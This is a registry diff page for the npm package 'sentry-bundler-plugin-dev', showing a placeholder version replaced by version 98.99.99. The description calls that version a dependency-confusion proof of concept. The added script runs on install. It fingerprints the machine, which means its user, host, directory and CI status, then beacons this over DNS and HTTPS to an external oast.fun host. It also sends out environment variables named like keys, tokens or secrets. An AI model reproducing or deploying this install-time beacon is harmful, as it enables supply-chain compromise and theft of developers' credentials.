sentry-bundler-plugin-dev 0.0.1-security → 98.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of sentry-bundler-plugin-dev might be problematic. Click here for more details.
- package/package.json +8 -3
- package/preinstall.js +79 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "sentry-bundler-plugin-dev",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "98.99.99",
|
|
4
|
+
"description": "Sentry internal dependency confusion PoC - RCE via postinstall beacon",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "orwa",
|
|
10
|
+
"license": "ISC"
|
|
6
11
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,79 @@
|
|
|
1
|
+
// This file should be named index.js
|
|
2
|
+
|
|
3
|
+
const dns = require('dns');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
const { exec } = require('child_process');
|
|
6
|
+
const https = require('https');
|
|
7
|
+
|
|
8
|
+
const MAX_LABEL = 63;
|
|
9
|
+
const OAST_DOMAIN = 'ocvomeqbrouywnpfvqwht36lgxwtmlyg4.oast.fun'; // Your OAST domain
|
|
10
|
+
|
|
11
|
+
// DNS-safe hex encoding split into max 63 char chunks
|
|
12
|
+
function hexify(str) {
|
|
13
|
+
return Buffer.from(str).toString('hex').match(/.{1,63}/g) || [];
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
// Collect victim fingerprint info
|
|
17
|
+
const info = {
|
|
18
|
+
vulnerable_package: 'sentry-bundler-plugin-dev', // <-- IMPROVEMENT: Identify which attack succeeded
|
|
19
|
+
user: os.userInfo().username || 'nouser',
|
|
20
|
+
host: os.hostname() || 'nohost',
|
|
21
|
+
cwd: process.cwd() || 'nocwd',
|
|
22
|
+
platform: os.platform(),
|
|
23
|
+
arch: os.arch(),
|
|
24
|
+
timestamp: Date.now().toString(36),
|
|
25
|
+
ci: !!process.env.CI || !!process.env.GITHUB_ACTIONS
|
|
26
|
+
};
|
|
27
|
+
|
|
28
|
+
// Build DNS beacon domain
|
|
29
|
+
const labels = [
|
|
30
|
+
...hexify(info.vulnerable_package), // Beacon the package name
|
|
31
|
+
...hexify(info.user),
|
|
32
|
+
...hexify(info.host),
|
|
33
|
+
...hexify(info.cwd),
|
|
34
|
+
info.platform,
|
|
35
|
+
info.arch,
|
|
36
|
+
info.ci ? 'ci' : 'local',
|
|
37
|
+
info.timestamp,
|
|
38
|
+
OAST_DOMAIN
|
|
39
|
+
];
|
|
40
|
+
|
|
41
|
+
let domain = labels.join('.');
|
|
42
|
+
if (domain.length > 253) domain = domain.slice(0, 253);
|
|
43
|
+
|
|
44
|
+
// Fire DNS beacon
|
|
45
|
+
try { dns.resolve(domain, () => {}); } catch(e) {}
|
|
46
|
+
|
|
47
|
+
// Fetch external IP and beacon over HTTP as fallback
|
|
48
|
+
try {
|
|
49
|
+
exec('curl -s https://api.ipify.org', (err, stdout) => {
|
|
50
|
+
if (err) return;
|
|
51
|
+
const ip = stdout.trim();
|
|
52
|
+
const payload = JSON.stringify({ ...info, ip });
|
|
53
|
+
const req = https.request({
|
|
54
|
+
hostname: OAST_DOMAIN, path: '/', method: 'POST',
|
|
55
|
+
headers: { 'Content-Type': 'application/json' }
|
|
56
|
+
}, () => {});
|
|
57
|
+
req.on('error', () => {});
|
|
58
|
+
req.write(payload);
|
|
59
|
+
req.end();
|
|
60
|
+
});
|
|
61
|
+
} catch(e) {}
|
|
62
|
+
|
|
63
|
+
|
|
64
|
+
// Stealthy env var sniff
|
|
65
|
+
try {
|
|
66
|
+
const leaked = Object.entries(process.env)
|
|
67
|
+
.filter(([k]) => /key|token|secret/i.test(k))
|
|
68
|
+
.slice(0, 5)
|
|
69
|
+
.reduce((acc, [k, v]) => ({ ...acc, [k]: v.slice(0, 10) + '...' }), {});
|
|
70
|
+
|
|
71
|
+
if (Object.keys(leaked).length) {
|
|
72
|
+
const req = https.request({
|
|
73
|
+
hostname: OAST_DOMAIN, path: '/', method: 'POST',
|
|
74
|
+
headers: { 'Content-Type': 'application/json' }
|
|
75
|
+
}, () => {});
|
|
76
|
+
req.write(JSON.stringify({ envleak: leaked }));
|
|
77
|
+
req.end();
|
|
78
|
+
}
|
|
79
|
+
} catch(e) {}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=sentry-bundler-plugin-dev for more information.
|